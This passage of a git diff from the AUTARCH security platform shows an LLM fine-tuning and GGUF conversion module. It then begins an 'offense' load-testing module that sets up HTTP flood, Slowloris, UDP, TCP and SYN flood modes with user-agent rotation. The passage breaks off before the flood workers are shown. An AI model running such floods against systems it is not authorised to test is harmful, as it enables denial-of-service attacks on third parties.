f"def run():\n" + f" mod = {name.title().replace('_', '')}()\n" + f" mod.print_status('Starting {desc.lower()}')\n" + f"```\n\n" + f"This module is saved as `modules/{name}.py` and will appear in the " + f"{cat} category on the dashboard.", + format + )) + + return pairs + + def _generate_identity_samples(self, format): + """Generate identity and behavior training data.""" + pairs = [] + + pairs.append(self._make_sample( + "Who are you?", + "I'm Hal, the AI agent powering Project AUTARCH — an autonomous security " + "platform built by darkHal Security Group. I can create new tools and modules, " + "analyze code, run system commands, and help with security operations.", + format + )) + + pairs.append(self._make_sample( + "What can you do?", + "I can:\n" + "- Create new AUTARCH modules on demand (defense, offense, analyze, etc.)\n" + "- Read and analyze source code files\n" + "- Execute shell commands\n" + "- Search the codebase for patterns and files\n" + "- Help with security analysis and tool development\n" + "- Explain how AUTARCH works\n" + "- Write Python code following AUTARCH's module patterns", + format + )) + + pairs.append(self._make_sample( + "What tools do you have access to?", + "I have these tools:\n" + "- `shell` — Execute system commands\n" + "- `read_file` — Read file contents\n" + "- `write_file` — Write files\n" + "- `list_dir` — List directory contents\n" + "- `search_files` — Search for files by name\n" + "- `search_content` — Search file contents (grep)\n" + "- `create_module` — Create a new AUTARCH module (validates and saves to modules/)\n\n" + "When asked to create a module, I use the `create_module` tool which validates " + "the code has the required metadata (DESCRIPTION, AUTHOR, VERSION, CATEGORY) and " + "a `run()` function, then saves it to the `modules/` directory.", + format + )) + + return pairs + + # ==================== LIST DATASETS ==================== + + def list_datasets(self): + """List generated training datasets.""" + datasets = [] + if self._training_dir.exists(): + for f in sorted(self._training_dir.glob('*.jsonl'), reverse=True): + try: + line_count = sum(1 for _ in open(f, encoding='utf-8')) + datasets.append({ + 'filename': f.name, + 'path': str(f), + 'size_bytes': f.stat().st_size, + 'sample_count': line_count, + 'created': datetime.fromtimestamp(f.stat().st_mtime).isoformat(), + }) + except Exception: + pass + return datasets + + def preview_dataset(self, filename, limit=10): + """Preview samples from a dataset file.""" + filepath = self._training_dir / filename + if not filepath.exists(): + return {'error': 'Dataset not found'} + + samples = [] + try: + with open(filepath, 'r', encoding='utf-8') as f: + for i, line in enumerate(f): + if i >= limit: + break + samples.append(json.loads(line)) + except Exception as e: + return {'error': str(e)} + + return {'filename': filename, 'samples': samples, 'total': i + 1 if samples else 0} + + def delete_dataset(self, filename): + """Delete a dataset file.""" + filepath = self._training_dir / filename + if filepath.exists() and filepath.suffix == '.jsonl': + filepath.unlink() + return True + return False + + # ==================== TRAINING ==================== + + def get_training_config(self): + """Get default training configuration.""" + return { + 'base_model': '', + 'dataset': '', + 'output_dir': str(self._training_dir / 'output'), + 'lora_r': 16, + 'lora_alpha': 32, + 'lora_dropout': 0.05, + 'num_epochs': 3, + 'batch_size': 4, + 'gradient_accumulation_steps': 4, + 'learning_rate': 2e-4, + 'max_seq_length': 2048, + 'warmup_ratio': 0.03, + 'use_4bit': True, + 'use_unsloth': False, + 'save_steps': 50, + 'logging_steps': 10, + } + + def browse_models(self, directory=''): + """Browse local directories for model files (HuggingFace format).""" + if not directory: + directory = str(self._models_dir) + target = Path(directory) + if not target.exists(): + return {'error': f'Directory not found: {directory}', 'entries': []} + + entries = [] + try: + for item in sorted(target.iterdir()): + if item.name.startswith('.'): + continue + entry = { + 'name': item.name, + 'path': str(item).replace('\\', '/'), + 'is_dir': item.is_dir(), + } + if item.is_dir(): + # Check if it looks like a HuggingFace model directory + has_config = (item / 'config.json').exists() + has_model = any(item.glob('*.safetensors')) or any(item.glob('*.bin')) + entry['is_model'] = has_config and has_model + elif item.suffix in ('.gguf', '.bin', '.safetensors'): + entry['size_gb'] = round(item.stat().st_size / (1024**3), 2) + entries.append(entry) + except PermissionError: + return {'error': f'Permission denied: {directory}', 'entries': []} + + return { + 'current_dir': str(target).replace('\\', '/'), + 'parent_dir': str(target.parent).replace('\\', '/') if target.parent != target else None, + 'entries': entries, + } + + def start_training(self, config): + """Start LoRA fine-tuning in a background process.""" + if self._training_process and self._training_process.poll() is None: + return {'error': 'Training already in progress'} + + # Check critical dependencies before starting + deps = self.check_dependencies() + missing = [] + for pkg in ['torch', 'transformers', 'peft', 'datasets', 'trl']: + if not deps.get(pkg, {}).get('installed'): + missing.append(pkg) + if missing: + return {'error': f'Missing required packages: {", ".join(missing)}. Go to the Dependencies tab to install them.'} + + self._status['phase'] = 'training' + self._status['progress'] = 0 + self._status['message'] = 'Starting training...' + self._log('Starting LoRA fine-tuning...') + + # Generate the training script + script_path = self._training_dir / 'train_lora.py' + output_dir = Path(config.get('output_dir', str(self._training_dir / 'output'))) + output_dir.mkdir(parents=True, exist_ok=True) + config['output_dir'] = str(output_dir) + + script = self._generate_training_script(config) + script_path.write_text(script, encoding='utf-8') + self._log(f'Training script written to {script_path}') + + # Run in background + log_path = self._training_dir / 'training.log' + try: + with open(log_path, 'w') as log_file: + self._training_process = subprocess.Popen( + [sys.executable, str(script_path)], + stdout=log_file, + stderr=subprocess.STDOUT, + cwd=str(self._project_root), + ) + self._log(f'Training started (PID: {self._training_process.pid})') + return { + 'success': True, + 'pid': self._training_process.pid, + 'log_path': str(log_path), + 'output_dir': str(output_dir), + } + except Exception as e: + self._status['phase'] = 'idle' + self._log(f'Failed to start training: {e}', 'error') + return {'error': str(e)} + + def _generate_training_script(self, config): + """Generate the LoRA training Python script.""" + # Use forward slashes for all paths to avoid Python escape sequence issues + dataset_path = config.get('dataset', '').replace('\\', '/') + base_model = config.get('base_model', '').replace('\\', '/') + output_dir = config.get('output_dir', str(self._training_dir / 'output')).replace('\\', '/') + + use_unsloth = config.get('use_unsloth', False) + + if use_unsloth: + return f'''#!/usr/bin/env python3 +"""AUTARCH LoRA Training Script (Unsloth)""" +import json +from unsloth import FastLanguageModel +from datasets import Dataset +from trl import SFTTrainer +from transformers import TrainingArguments + +# Load model +model, tokenizer = FastLanguageModel.from_pretrained( + model_name="{base_model}", + max_seq_length={config.get('max_seq_length', 2048)}, + load_in_4bit={config.get('use_4bit', True)}, +) + +# Add LoRA adapters +model = FastLanguageModel.get_peft_model( + model, + r={config.get('lora_r', 16)}, + lora_alpha={config.get('lora_alpha', 32)}, + lora_dropout={config.get('lora_dropout', 0.05)}, + target_modules=["q_proj", "k_proj", "v_proj", "o_proj", + "gate_proj", "up_proj", "down_proj"], +) + +# Load dataset +samples = [] +with open("{dataset_path}", "r") as f: + for line in f: + samples.append(json.loads(line)) + +def format_sample(sample): + if "conversations" in sample: + msgs = sample["conversations"] + text = "" + for msg in msgs: + role = "user" if msg["from"] == "human" else "assistant" + text += f"<|im_start|>{{role}}\\n{{msg['value']}}<|im_end|>\\n" + return {{"text": text}} + else: + return {{"text": f"<|im_start|>user\\n{{sample['instruction']}}\\n{{sample.get('input','')}}<|im_end|>\\n<|im_start|>assistant\\n{{sample['output']}}<|im_end|>\\n"}} + +dataset = Dataset.from_list([format_sample(s) for s in samples]) + +# Train +trainer = SFTTrainer( + model=model, + tokenizer=tokenizer, + train_dataset=dataset, + dataset_text_field="text", + max_seq_length={config.get('max_seq_length', 2048)}, + args=TrainingArguments( + output_dir="{output_dir}", + num_train_epochs={config.get('num_epochs', 3)}, + per_device_train_batch_size={config.get('batch_size', 4)}, + gradient_accumulation_steps={config.get('gradient_accumulation_steps', 4)}, + learning_rate={config.get('learning_rate', 2e-4)}, + warmup_ratio={config.get('warmup_ratio', 0.03)}, + save_steps={config.get('save_steps', 50)}, + logging_steps={config.get('logging_steps', 10)}, + fp16=True, + optim="adamw_8bit", + ), +) + +print("Starting training...") +trainer.train() +print("Training complete!") + +# Save +model.save_pretrained("{output_dir}/lora_adapter") +tokenizer.save_pretrained("{output_dir}/lora_adapter") +print(f"LoRA adapter saved to {output_dir}/lora_adapter") +''' + else: + return f'''#!/usr/bin/env python3 +"""AUTARCH LoRA Training Script (Transformers + PEFT)""" +import json +import torch +from datasets import Dataset +from transformers import ( + AutoModelForCausalLM, AutoTokenizer, TrainingArguments, + BitsAndBytesConfig, +) +from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training +from trl import SFTTrainer + +# Quantization config +bnb_config = BitsAndBytesConfig( + load_in_4bit={config.get('use_4bit', True)}, + bnb_4bit_quant_type="nf4", + bnb_4bit_compute_dtype=torch.float16, + bnb_4bit_use_double_quant=True, +) if {config.get('use_4bit', True)} else None + +print("Loading base model: {base_model}") +model = AutoModelForCausalLM.from_pretrained( + "{base_model}", + quantization_config=bnb_config, + device_map="auto", + trust_remote_code=False, +) +tokenizer = AutoTokenizer.from_pretrained("{base_model}", trust_remote_code=False) +if tokenizer.pad_token is None: + tokenizer.pad_token = tokenizer.eos_token + +if {config.get('use_4bit', True)}: + model = prepare_model_for_kbit_training(model) + +# LoRA config +lora_config = LoraConfig( + r={config.get('lora_r', 16)}, + lora_alpha={config.get('lora_alpha', 32)}, + lora_dropout={config.get('lora_dropout', 0.05)}, + target_modules=["q_proj", "k_proj", "v_proj", "o_proj", + "gate_proj", "up_proj", "down_proj"], + bias="none", + task_type="CAUSAL_LM", +) +model = get_peft_model(model, lora_config) +model.print_trainable_parameters() + +# Load dataset +samples = [] +with open("{dataset_path}", "r") as f: + for line in f: + samples.append(json.loads(line)) + +def format_sample(sample): + if "conversations" in sample: + msgs = sample["conversations"] + text = "" + for msg in msgs: + role = "user" if msg["from"] == "human" else "assistant" + text += f"<|im_start|>{{role}}\\n{{msg['value']}}<|im_end|>\\n" + return {{"text": text}} + else: + return {{"text": f"<|im_start|>user\\n{{sample['instruction']}}\\n{{sample.get('input','')}}<|im_end|>\\n<|im_start|>assistant\\n{{sample['output']}}<|im_end|>\\n"}} + +dataset = Dataset.from_list([format_sample(s) for s in samples]) +print(f"Dataset: {{len(dataset)}} samples") + +# Train +trainer = SFTTrainer( + model=model, + tokenizer=tokenizer, + train_dataset=dataset, + dataset_text_field="text", + max_seq_length={config.get('max_seq_length', 2048)}, + args=TrainingArguments( + output_dir="{output_dir}", + num_train_epochs={config.get('num_epochs', 3)}, + per_device_train_batch_size={config.get('batch_size', 4)}, + gradient_accumulation_steps={config.get('gradient_accumulation_steps', 4)}, + learning_rate={config.get('learning_rate', 2e-4)}, + warmup_ratio={config.get('warmup_ratio', 0.03)}, + save_steps={config.get('save_steps', 50)}, + logging_steps={config.get('logging_steps', 10)}, + fp16=True, + optim="adamw_8bit", + report_to="none", + ), +) + +print("Starting training...") +trainer.train() +print("Training complete!") + +# Save +model.save_pretrained("{output_dir}/lora_adapter") +tokenizer.save_pretrained("{output_dir}/lora_adapter") +print(f"LoRA adapter saved to {output_dir}/lora_adapter") +''' + + def get_training_status(self): + """Get current training status including log tail.""" + result = dict(self._status) + + if self._training_process: + poll = self._training_process.poll() + if poll is None: + result['training_running'] = True + result['pid'] = self._training_process.pid + else: + result['training_running'] = False + result['exit_code'] = poll + if self._status['phase'] == 'training': + self._status['phase'] = 'idle' + self._status['message'] = 'Training finished' if poll == 0 else f'Training failed (exit {poll})' + else: + result['training_running'] = False + + # Read training log tail + log_path = self._training_dir / 'training.log' + if log_path.exists(): + try: + lines = log_path.read_text(encoding='utf-8', errors='replace').split('\n') + result['training_log'] = '\n'.join(lines[-50:]) + except Exception: + result['training_log'] = '' + else: + result['training_log'] = '' + + return result + + def stop_training(self): + """Stop the running training process.""" + if self._training_process and self._training_process.poll() is None: + self._training_process.terminate() + self._training_process.wait(timeout=10) + self._status['phase'] = 'idle' + self._status['message'] = 'Training stopped by user' + self._log('Training stopped by user', 'warning') + return True + return False + + # ==================== GGUF CONVERSION ==================== + + def list_adapters(self): + """List saved LoRA adapters.""" + adapters = [] + output_dir = self._training_dir / 'output' + if output_dir.exists(): + for d in output_dir.iterdir(): + if d.is_dir(): + config_path = d / 'adapter_config.json' + if config_path.exists(): + try: + config = json.loads(config_path.read_text()) + adapters.append({ + 'name': d.name, + 'path': str(d), + 'base_model': config.get('base_model_name_or_path', ''), + 'r': config.get('r', 0), + 'lora_alpha': config.get('lora_alpha', 0), + }) + except Exception: + adapters.append({'name': d.name, 'path': str(d)}) + return adapters + + def merge_and_convert(self, adapter_path, output_name, quantization='Q5_K_M'): + """Merge LoRA adapter with base model and convert to GGUF. + + This is a multi-step process: + 1. Load base model + LoRA adapter + 2. Merge weights + 3. Save merged model + 4. Convert to GGUF format + 5. Quantize + """ + self._status['phase'] = 'converting' + self._status['progress'] = 0 + self._status['message'] = 'Starting merge and conversion...' + self._log(f'Starting merge: adapter={adapter_path}, quant={quantization}') + + merged_dir = self._training_dir / 'merged' + merged_dir.mkdir(parents=True, exist_ok=True) + output_path = self._models_dir / f'{output_name}.gguf' + + # Generate merge+convert script + script = f'''#!/usr/bin/env python3 +"""Merge LoRA adapter and convert to GGUF.""" +import json, sys +from pathlib import Path + +adapter_path = Path("{adapter_path}") +config_path = adapter_path / "adapter_config.json" +if not config_path.exists(): + print("ERROR: adapter_config.json not found") + sys.exit(1) + +config = json.loads(config_path.read_text()) +base_model = config.get("base_model_name_or_path", "") +if not base_model: + print("ERROR: No base_model_name_or_path in adapter config") + sys.exit(1) + +print(f"Base model: {{base_model}}") +print(f"Adapter: {{adapter_path}}") + +# Step 1: Load and merge +print("Loading base model...") +from transformers import AutoModelForCausalLM, AutoTokenizer +from peft import PeftModel + +model = AutoModelForCausalLM.from_pretrained(base_model, device_map="cpu") +tokenizer = AutoTokenizer.from_pretrained(base_model) + +print("Loading LoRA adapter...") +model = PeftModel.from_pretrained(model, str(adapter_path)) + +print("Merging weights...") +model = model.merge_and_unload() + +merged_path = "{merged_dir}" +print(f"Saving merged model to {{merged_path}}") +model.save_pretrained(merged_path) +tokenizer.save_pretrained(merged_path) +print("Merge complete!") +''' + script_path = self._training_dir / 'merge_model.py' + script_path.write_text(script, encoding='utf-8') + + # Run merge + self._status['message'] = 'Merging LoRA adapter with base model...' + self._status['progress'] = 10 + try: + result = subprocess.run( + [sys.executable, str(script_path)], + capture_output=True, text=True, timeout=1800 # 30 min max + ) + if result.returncode != 0: + self._log(f'Merge failed: {result.stderr}', 'error') + self._status['phase'] = 'idle' + return {'error': f'Merge failed: {result.stderr[-500:]}'} + self._log('Merge complete') + except subprocess.TimeoutExpired: + self._status['phase'] = 'idle' + return {'error': 'Merge timed out (30 min limit)'} + + # Convert to GGUF using llama.cpp convert script + self._status['message'] = 'Converting to GGUF format...' + self._status['progress'] = 60 + + # Try to find llama.cpp convert script + convert_script = None + search_paths = [ + self._project_root / 'tools' / 'llama.cpp' / 'convert_hf_to_gguf.py', + Path.home() / 'llama.cpp' / 'convert_hf_to_gguf.py', + ] + for p in search_paths: + if p.exists(): + convert_script = p + break + + if not convert_script: + # Try pip-installed llama-cpp-python convert + self._log('llama.cpp convert script not found, trying pip package...', 'warning') + try: + result = subprocess.run( + [sys.executable, '-m', 'llama_cpp.convert', + str(merged_dir), '--outfile', str(output_path), + '--outtype', quantization.lower()], + capture_output=True, text=True, timeout=1800 + ) + if result.returncode == 0: + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._log(f'GGUF saved to {output_path}') + return { + 'success': True, + 'output_path': str(output_path), + 'size_bytes': output_path.stat().st_size if output_path.exists() else 0, + } + except Exception: + pass + + self._status['phase'] = 'idle' + self._status['message'] = 'Merged model saved but GGUF conversion requires llama.cpp' + return { + 'partial': True, + 'merged_path': str(merged_dir), + 'message': 'Model merged successfully. To convert to GGUF, install llama.cpp ' + 'and run: python convert_hf_to_gguf.py --outfile ', + } + + # Run convert script + try: + result = subprocess.run( + [sys.executable, str(convert_script), + str(merged_dir), '--outfile', str(output_path), + '--outtype', 'f16'], + capture_output=True, text=True, timeout=1800 + ) + if result.returncode != 0: + self._status['phase'] = 'idle' + return {'error': f'GGUF conversion failed: {result.stderr[-500:]}'} + except subprocess.TimeoutExpired: + self._status['phase'] = 'idle' + return {'error': 'GGUF conversion timed out'} + + # Quantize if not f16 + if quantization.upper() != 'F16': + self._status['message'] = f'Quantizing to {quantization}...' + self._status['progress'] = 80 + + quantize_bin = None + for p in [self._project_root / 'tools' / 'llama.cpp' / 'llama-quantize', + Path.home() / 'llama.cpp' / 'llama-quantize', + Path('/usr/local/bin/llama-quantize')]: + if p.exists(): + quantize_bin = p + break + # Check .exe variant on Windows + p_exe = p.with_suffix('.exe') + if p_exe.exists(): + quantize_bin = p_exe + break + + if quantize_bin: + quant_output = output_path.with_stem(f'{output_name}_{quantization}') + try: + result = subprocess.run( + [str(quantize_bin), str(output_path), + str(quant_output), quantization], + capture_output=True, text=True, timeout=1800 + ) + if result.returncode == 0: + # Replace f16 with quantized version + output_path.unlink() + shutil.move(str(quant_output), str(output_path)) + self._log(f'Quantized to {quantization}') + except Exception as e: + self._log(f'Quantization failed: {e}', 'warning') + + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._status['message'] = f'GGUF model saved: {output_path.name}' + self._log(f'GGUF model saved to {output_path}') + + return { + 'success': True, + 'output_path': str(output_path), + 'size_bytes': output_path.stat().st_size if output_path.exists() else 0, + } + + def list_models(self): + """List available GGUF models.""" + models = [] + if self._models_dir.exists(): + for f in sorted(self._models_dir.glob('*.gguf')): + models.append({ + 'name': f.stem, + 'filename': f.name, + 'path': str(f), + 'size_bytes': f.stat().st_size, + 'size_gb': round(f.stat().st_size / (1024**3), 2), + 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(), + }) + return models + + # ==================== EVALUATION ==================== + + def evaluate_model(self, model_path, test_prompts=None): + """Quick evaluation of a GGUF model with test prompts.""" + if not test_prompts: + test_prompts = [ + "What is AUTARCH?", + "How do I create a new defense module?", + "What module categories does AUTARCH support?", + "Create a module that scans for open ports on localhost.", + ] + + self._status['phase'] = 'evaluating' + self._status['message'] = 'Loading model for evaluation...' + self._log(f'Evaluating model: {model_path}') + + results = [] + try: + from core.llm import LLM + llm = LLM() + llm.load_model(model_path) + + for i, prompt in enumerate(test_prompts): + self._status['progress'] = int((i / len(test_prompts)) * 100) + self._status['message'] = f'Testing prompt {i+1}/{len(test_prompts)}...' + + response = llm.generate(prompt, max_tokens=512) + results.append({ + 'prompt': prompt, + 'response': response, + 'length': len(response), + }) + + except Exception as e: + self._status['phase'] = 'idle' + return {'error': str(e)} + + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._status['message'] = 'Evaluation complete' + return {'results': results, 'model': model_path} + + +# ==================== SINGLETON ==================== + +_trainer_instance = None + + +def get_trainer(): + """Get or create singleton LLMTrainer instance.""" + global _trainer_instance + if _trainer_instance is None: + _trainer_instance = LLMTrainer() + return _trainer_instance + + +# ==================== CLI ==================== + +def run(): + """CLI entry point.""" + from core.banner import Colors, clear_screen, display_banner + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}{Colors.CYAN}LLM Trainer{Colors.RESET}\n") + + trainer = LLMTrainer() + + print(f"{Colors.CYAN}[*] Checking dependencies...{Colors.RESET}") + deps = trainer.check_dependencies() + for name, info in deps.items(): + if isinstance(info, dict) and 'installed' in info: + status = f"{Colors.GREEN}v{info['version']}{Colors.RESET}" if info['installed'] else f"{Colors.RED}Not installed{Colors.RESET}" + print(f" {name}: {status}") + + print(f"\n{Colors.CYAN}[*] Scanning codebase...{Colors.RESET}") + scan = trainer.scan_codebase() + print(f" Files: {scan['total_files']}") + print(f" Lines: {scan['total_lines']}") + + while True: + print(f"\n{Colors.BOLD}Options:{Colors.RESET}") + print(" 1. Generate training dataset") + print(" 2. List datasets") + print(" 3. Check dependencies") + print(" 4. Install dependencies") + print(" 0. Exit") + + choice = input(f"\n{Colors.CYAN}Select: {Colors.RESET}").strip() + if choice == '1': + result = trainer.generate_dataset() + print(f"\n{Colors.GREEN}[+] Generated {result['sample_count']} samples{Colors.RESET}") + print(f" File: {result['path']}") + elif choice == '2': + datasets = trainer.list_datasets() + for d in datasets: + print(f" {d['filename']} — {d['sample_count']} samples, " + f"{d['size_bytes']//1024}KB") + elif choice == '3': + deps = trainer.check_dependencies() + for name, info in deps.items(): + if isinstance(info, dict) and 'installed' in info: + status = f"{Colors.GREEN}v{info['version']}{Colors.RESET}" if info['installed'] else f"{Colors.RED}Missing{Colors.RESET}" + print(f" {name}: {status}") + elif choice == '4': + results = trainer.install_dependencies() + for r in results: + status = f"{Colors.GREEN}OK{Colors.RESET}" if r['success'] else f"{Colors.RED}FAIL{Colors.RESET}" + print(f" {r['package']}: {status}") + elif choice == '0': + break + + input("\nPress Enter to continue...") diff --git a/modules/loadtest.py b/modules/loadtest.py new file mode 100644 index 0000000..b970e58 --- /dev/null +++ b/modules/loadtest.py @@ -0,0 +1,1097 @@ +"""AUTARCH Load Testing Module + +Multi-protocol load/stress testing tool combining features from +Apache Bench, Locust, k6, wrk, Slowloris, and HULK. + +Supports: HTTP/HTTPS GET/POST/PUT/DELETE, Slowloris, SYN flood, +UDP flood, TCP connect flood, with real-time metrics and ramp-up patterns. +""" + +DESCRIPTION = "Load & stress testing toolkit" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import time +import threading +import random +import string +import socket +import ssl +import struct +import queue +import json +import statistics +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any +from enum import Enum +from collections import deque +from urllib.parse import urlparse + +# Optional: requests for HTTP tests +try: + import requests + from requests.adapters import HTTPAdapter + REQUESTS_AVAILABLE = True +except ImportError: + REQUESTS_AVAILABLE = False + + +class AttackType(Enum): + HTTP_FLOOD = "http_flood" + HTTP_SLOWLORIS = "slowloris" + TCP_CONNECT = "tcp_connect" + UDP_FLOOD = "udp_flood" + SYN_FLOOD = "syn_flood" + + +class RampPattern(Enum): + CONSTANT = "constant" # All workers at once + LINEAR = "linear" # Gradually add workers + STEP = "step" # Add workers in bursts + SPIKE = "spike" # Burst → sustain → burst + + +@dataclass +class RequestResult: + status_code: int = 0 + latency_ms: float = 0.0 + bytes_sent: int = 0 + bytes_received: int = 0 + success: bool = False + error: str = "" + timestamp: float = 0.0 + + +@dataclass +class TestMetrics: + """Live metrics for a running load test.""" + total_requests: int = 0 + successful: int = 0 + failed: int = 0 + bytes_sent: int = 0 + bytes_received: int = 0 + start_time: float = 0.0 + elapsed: float = 0.0 + active_workers: int = 0 + status_codes: Dict[int, int] = field(default_factory=dict) + latencies: List[float] = field(default_factory=list) + errors: Dict[str, int] = field(default_factory=dict) + rps_history: List[float] = field(default_factory=list) + + @property + def rps(self) -> float: + if self.elapsed <= 0: + return 0.0 + return self.total_requests / self.elapsed + + @property + def avg_latency(self) -> float: + return statistics.mean(self.latencies) if self.latencies else 0.0 + + @property + def p50_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[len(s) // 2] + + @property + def p95_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[int(len(s) * 0.95)] + + @property + def p99_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[int(len(s) * 0.99)] + + @property + def max_latency(self) -> float: + return max(self.latencies) if self.latencies else 0.0 + + @property + def min_latency(self) -> float: + return min(self.latencies) if self.latencies else 0.0 + + @property + def success_rate(self) -> float: + if self.total_requests <= 0: + return 0.0 + return (self.successful / self.total_requests) * 100 + + @property + def error_rate(self) -> float: + if self.total_requests <= 0: + return 0.0 + return (self.failed / self.total_requests) * 100 + + def to_dict(self) -> dict: + return { + 'total_requests': self.total_requests, + 'successful': self.successful, + 'failed': self.failed, + 'bytes_sent': self.bytes_sent, + 'bytes_received': self.bytes_received, + 'elapsed': round(self.elapsed, 2), + 'active_workers': self.active_workers, + 'rps': round(self.rps, 1), + 'avg_latency': round(self.avg_latency, 2), + 'p50_latency': round(self.p50_latency, 2), + 'p95_latency': round(self.p95_latency, 2), + 'p99_latency': round(self.p99_latency, 2), + 'max_latency': round(self.max_latency, 2), + 'min_latency': round(self.min_latency, 2), + 'success_rate': round(self.success_rate, 1), + 'error_rate': round(self.error_rate, 1), + 'status_codes': dict(self.status_codes), + 'top_errors': dict(sorted(self.errors.items(), key=lambda x: -x[1])[:5]), + 'rps_history': list(self.rps_history[-60:]), + } + + +# User-agent rotation pool +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0.0.0", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148", + "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36", + "curl/8.4.0", + "python-requests/2.31.0", +] + + +class LoadTester: + """Multi-protocol load testing engine.""" + + def __init__(self): + self._stop_event = threading.Event() + self._pause_event = threading.Event() + self._pause_event.set() # Not paused by default + self._workers: List[threading.Thread] = [] + self._metrics = TestMetrics() + self._metrics_lock = threading.Lock() + self._running = False + self._config: Dict[str, Any] = {} + self._result_queue: queue.Queue = queue.Queue() + self._subscribers: List[queue.Queue] = [] + self._rps_counter = 0 + self._rps_timer_start = 0.0 + + @property + def running(self) -> bool: + return self._running + + @property + def metrics(self) -> TestMetrics: + return self._metrics + + def start(self, config: Dict[str, Any]): + """Start a load test with given configuration. + + Config keys: + target: URL or host:port + attack_type: http_flood|slowloris|tcp_connect|udp_flood|syn_flood + workers: Number of concurrent workers + duration: Duration in seconds (0 = unlimited) + requests_per_worker: Max requests per worker (0 = unlimited) + ramp_pattern: constant|linear|step|spike + ramp_duration: Ramp-up time in seconds + method: HTTP method (GET/POST/PUT/DELETE) + headers: Custom headers dict + body: Request body + timeout: Request timeout in seconds + follow_redirects: Follow HTTP redirects + verify_ssl: Verify SSL certificates + rotate_useragent: Rotate user agents + custom_useragent: Custom user agent string + rate_limit: Max requests per second (0 = unlimited) + payload_size: UDP/TCP payload size in bytes + """ + if self._running: + return + + self._stop_event.clear() + self._pause_event.set() + self._running = True + self._config = config + self._metrics = TestMetrics(start_time=time.time()) + self._rps_counter = 0 + self._rps_timer_start = time.time() + + # Start metrics collector thread + collector = threading.Thread(target=self._collect_results, daemon=True) + collector.start() + + # Start RPS tracker + rps_tracker = threading.Thread(target=self._track_rps, daemon=True) + rps_tracker.start() + + # Determine attack type + attack_type = config.get('attack_type', 'http_flood') + workers = config.get('workers', 10) + ramp = config.get('ramp_pattern', 'constant') + ramp_dur = config.get('ramp_duration', 0) + + # Launch workers based on ramp pattern + launcher = threading.Thread( + target=self._launch_workers, + args=(attack_type, workers, ramp, ramp_dur), + daemon=True + ) + launcher.start() + + def stop(self): + """Stop the load test.""" + self._stop_event.set() + self._running = False + + def pause(self): + """Pause the load test.""" + self._pause_event.clear() + + def resume(self): + """Resume the load test.""" + self._pause_event.set() + + def subscribe(self) -> queue.Queue: + """Subscribe to real-time metric updates.""" + q = queue.Queue() + self._subscribers.append(q) + return q + + def unsubscribe(self, q: queue.Queue): + """Unsubscribe from metric updates.""" + if q in self._subscribers: + self._subscribers.remove(q) + + def _publish(self, data: dict): + """Publish data to all subscribers.""" + dead = [] + for q in self._subscribers: + try: + q.put_nowait(data) + except queue.Full: + dead.append(q) + for q in dead: + self._subscribers.remove(q) + + def _launch_workers(self, attack_type: str, total_workers: int, + ramp: str, ramp_dur: float): + """Launch worker threads according to ramp pattern.""" + worker_fn = { + 'http_flood': self._http_worker, + 'slowloris': self._slowloris_worker, + 'tcp_connect': self._tcp_worker, + 'udp_flood': self._udp_worker, + 'syn_flood': self._syn_worker, + }.get(attack_type, self._http_worker) + + if ramp == 'constant' or ramp_dur <= 0: + for i in range(total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + elif ramp == 'linear': + interval = ramp_dur / max(total_workers, 1) + for i in range(total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(interval) + elif ramp == 'step': + steps = min(5, total_workers) + per_step = total_workers // steps + step_interval = ramp_dur / steps + for s in range(steps): + if self._stop_event.is_set(): + break + count = per_step if s < steps - 1 else total_workers - len(self._workers) + for i in range(count): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(len(self._workers),), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(step_interval) + elif ramp == 'spike': + # Burst 50%, wait, add remaining + burst = total_workers // 2 + for i in range(burst): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(ramp_dur / 2) + for i in range(burst, total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + + # Wait for duration or stop + duration = self._config.get('duration', 0) + if duration > 0: + start = time.time() + while time.time() - start < duration and not self._stop_event.is_set(): + time.sleep(0.5) + self.stop() + + def _collect_results(self): + """Collect results from worker threads.""" + while self._running or not self._result_queue.empty(): + try: + result = self._result_queue.get(timeout=0.5) + except queue.Empty: + continue + + with self._metrics_lock: + m = self._metrics + m.total_requests += 1 + m.elapsed = time.time() - m.start_time + m.bytes_sent += result.bytes_sent + m.bytes_received += result.bytes_received + + if result.success: + m.successful += 1 + else: + m.failed += 1 + err_key = result.error[:50] if result.error else 'unknown' + m.errors[err_key] = m.errors.get(err_key, 